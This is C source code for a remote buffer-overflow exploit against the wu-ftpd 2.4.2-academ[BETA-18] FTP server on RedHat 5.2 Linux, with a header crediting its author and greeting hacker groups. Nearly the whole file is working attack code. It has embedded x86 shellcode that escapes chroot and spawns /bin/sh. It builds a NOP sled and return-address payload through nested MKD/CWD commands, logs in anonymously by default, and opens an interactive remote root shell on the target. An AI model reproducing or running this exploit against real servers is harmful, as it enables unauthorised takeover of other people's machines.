/* 
	THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!

	WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
	for linux x86 (redhat 5.2)

	by duke
	duke@viper.net.au

	BIG thanks to stran9er for alot of help with part of the shellcode!
	i fear stran9er, but who doesn't? !@$ :)

	Greets to: #!ADM, el8.org users,  
	
	To exploit this remotely they need to have a directory you can
	have write privlidges to.. this is the <dir> argument.. you can
	also use this locally by specifying -l <ur login> <urpass> with the
	<dir> = your home directory or something
	-duke
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>

#define RET 0xbfffa80f 

void logintoftp();
void sh();
void mkd(char *);
int max(int, int);

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;

int main(int argc, char **argv)
{
	char sendln[1024], recvln[4048], buf1[800], buf2[1000];
	char *p, *q;
	int len, offset = 0, i;
	struct sockaddr_in cli;

	if(argc < 3){
		printf("usage: %s <host> <dir> [-l name pass] [offset]\n", argv[0]);
		exit(0);
	}
	if(argc >= 4){
		if(strcmp(argv[3], "-l") == 0){
			strncpy(name, argv[4], 128);
			strncpy(pass, argv[5], 128);
		} else {
			offset = atoi(argv[3]);
		}
		if(argc == 7)
			offset = atoi(argv[6]);
	}
		
	if(name[0] == 0 && pass[0] == 0){ 
		strcpy(name, "anonymous");
		strcpy(pass, "hi@blahblah.net");
	}

	bzero(&cli, sizeof(cli));
	bzero(recvln, sizeof(recvln));
	bzero(sendln, sizeof(sendln));
	cli.sin_family = AF_INET;
	cli.sin_port = htons(21);
	inet_pton(AF_INET, argv[1], &cli.sin_addr);

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket");
		exit(0);
	}
	
	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
		perror("connect");
		exit(0);
	}
	while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
		recvln[len] = '\0';
		if(strchr(recvln, '\n') != NULL)
			break;
	}
	logintoftp(sockfd); 
	printf("logged in.\n");
	bzero(sendln, sizeof(sendln));

	for(i=0; i<996; i+=4)
		*(long *)&buf2[i] = RET + offset;
	memset(buf1, 0x90, 800);
	memcpy(buf1, argv[2], strlen(argv[2]));
	mkd(argv[2]);
	p = &buf1[strlen(argv[2])];
	q = &buf1[799];
	*q = '\x0';
	while(p <= q){
		strncpy(tmp, p, 200);
		mkd(tmp);
		p+=200;
	}
	mkd(shellcode);
	mkd("bin");
	mkd("sh");
	p = &buf2[0];
	q = &buf2[999];
	while(p <= q){
		strncpy(tmp, p, 250);
		mkd(tmp);
		p+=250;
	}
	sh(sockfd);


	close(sockfd);
	printf("finit.\n");
}

void mkd(char *dir)
{
	char snd[512], rcv[1024];
	char blah[1024], *p;
	int n;
	
	bzero(blah, sizeof(blah));
	p = blah;
	 for(n=0; n<strlen(dir); n++){
		if(dir[n] == '\xff'){
			*p = '\xff';
			p++;
		}
		*p = dir[n];
		p++;
	} 	
	sprintf(snd, "MKD %s\r\n", blah);
	write(sockfd, snd, strlen(snd));
	bzero(snd, sizeof(snd));
	sprintf(snd, "CWD %s\r\n", blah);
	write(sockfd, snd, strlen(snd));
	bzero(rcv, sizeof(rcv));
	while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
		rcv[n] = 0;
		if(strchr(rcv, '\n') != NULL)
			break;
	}
	return;
}

void logintoftp()
{
	char snd[1024], rcv[1024];
	int n;

	printf("logging in with %s: %s\n", name, pass);
 	memset(snd, '\0', 1024);
	sprintf(snd, "USER %s\r\n", name);
	write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }

	memset(snd, '\0', 1024);
        sprintf(snd, "PASS %s\r\n", pass);
        write(sockfd, snd, strlen(snd));

	while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
		rcv[n] = 0;
		if(strchr(rcv, '\n') != NULL)
			break;
	}
	return;
}

void sh()
{
	char snd[1024], rcv[1024];
	fd_set rset;
	int maxfd, n;

	strcpy(snd, "cd /; uname -a; pwd; id;\n");
	write(sockfd, snd, strlen(snd));

	for(;;){
		FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd)-2, stdin);
                        write(sockfd, snd, strlen(snd));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(rcv, sizeof(rcv));
                        if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                                printf("EOF.\n");
                                exit(0);
                        }
		        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(rcv, stdout);
                }
        }
}

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}

